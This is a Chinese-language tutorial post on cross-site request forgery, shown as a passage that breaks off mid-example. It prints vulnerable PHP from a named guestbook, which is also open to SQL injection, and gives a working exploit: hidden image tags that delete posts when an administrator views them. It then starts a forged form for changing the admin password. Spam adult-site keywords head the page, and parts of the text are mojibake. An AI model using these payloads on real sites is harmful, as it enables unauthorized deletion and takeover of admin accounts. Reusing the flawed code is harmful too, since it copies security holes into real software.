国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

CSRF攻擊是什么并且如何防止

Flands / 2557人閱讀

摘要:,意為跨網(wǎng)站請求偽造,也有寫為。攻擊者偽造目標(biāo)用戶的請求,然后此請求發(fā)送到有漏洞的網(wǎng)站,網(wǎng)站執(zhí)行此請求后,引發(fā)跨站請求偽造攻擊。

CSRF(Cross Site Request Forgeries),意為跨網(wǎng)站請求偽造,也有寫為XSRF。攻擊者偽造目標(biāo)用戶的HTTP請求,然后此請求發(fā)送到有CSRF漏洞的網(wǎng)站,網(wǎng)站執(zhí)行此請 求后,引發(fā)跨站請求偽造攻擊。攻擊者利用隱蔽的HTTP連接,讓目標(biāo)用戶在不注意的情況下單擊這個鏈接,由于是用戶自己點擊的,而他又是合法用戶擁有合法 權(quán)限,所以目標(biāo)用戶能夠在網(wǎng)站內(nèi)執(zhí)行特定的HTTP鏈接,從而達(dá)到攻擊者的目的。
例如:某個購物網(wǎng)站購買商品時,采用http://www.shop.com/buy.php?i...,item參數(shù)確定要購買什么物品,num參數(shù)確定要購買數(shù)量,如果攻擊者以隱藏的方式發(fā)送給目標(biāo)用戶鏈接,那么如果目標(biāo)用戶不小心訪問以后,購買的數(shù)量就成了1000個
實例
隨緣網(wǎng)絡(luò)PHP留言板V1.0
任意刪除留言
//delbook.php 此頁面用于刪除留言
include_once(“dlyz.php”); //dlyz.php用戶驗證權(quán)限,當(dāng)權(quán)限是admin的時候方可刪除留言
include_once(“../conn.php”);
$del=$_GET[“del”];
$id=$_GET[“id”];
if ($del==”data”)
{
$ID_Dele= implode(“,”,$_POST[‘a(chǎn)did’]);
$sql=”delete from book where id in (“.$ID_Dele.”)”;
mysql_query($sql);
}
else
{
$sql=”delete from book where id=”.$id; //傳遞要刪除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo “”;
echo “alert(‘刪除成功!’);”;
echo ” location=’book.php’;”;
echo “”;
?>
當(dāng)我們具有admin權(quán)限,提交http://localhost/manage/delbo... 時,就會刪除id為2的留言
利用方法:
我們使用普通用戶留言(源代碼方式),內(nèi)容為
“delbook.php?id=2” />
“delbook.php?id=3” />
“delbook.php?id=4” />
“delbook.php?id=5” />
插入4張圖片鏈接分別刪除4個id留言,然后我們返回首頁瀏覽看,沒有什么變化。。圖片顯示不了
現(xiàn)在我們再用管理員賬號登陸后,來刷新首頁,會發(fā)現(xiàn)留言就剩一條,其他在圖片鏈接中指定的ID號的留言,全部都被刪除。
攻擊者在留言中插入隱藏的圖片鏈接,此鏈接具有刪除留言的作用,而攻擊者自己訪問這些圖片鏈接的時候,是不具有權(quán)限的,所以看不到任何效果,但是當(dāng)管理員登陸后,查看此留言,就會執(zhí)行隱藏的鏈接,而他的權(quán)限又是足夠大的,從而這些留言就被刪除了
修改管理員密碼
//pass.php
if($_GET[“act”])
{
$username=$_POST[“username”];
$sh=$_POST[“sh”];
$gg=$_POST[“gg”];
$title=$_POST[“title”];
$copyright=$_POST[“copyright”].”
設(shè)計制作:黑客契約安全網(wǎng)”;
$password=md5($_POST[“password”]);
if(emptyempty($_POST[“password”]))
{
$sql=”update gly set username=’”.$username.”’,sh=”.$sh.”,gg=’”.$gg.”’,title=’”.$title.”’,copyright=’”.$copyright.”’ where id=1″;
}
else
{
$sql=”update gly set username=’”.$username.”’,password=’”.$password.”’,sh=”.$sh.”,gg=’”.$gg.”’,title=’”.$title.”’,copyright=’”.$copyright.”’ where id=1″;
}
mysql_query($sql);
mysql_close($conn);
echo “”;
echo “alert(‘修改成功!’);”;
echo ” location=’pass.php’;”;
echo “”;
}
這個文件用于修改管理密碼和網(wǎng)站設(shè)置的一些信息,我們可以直接構(gòu)造如下表單: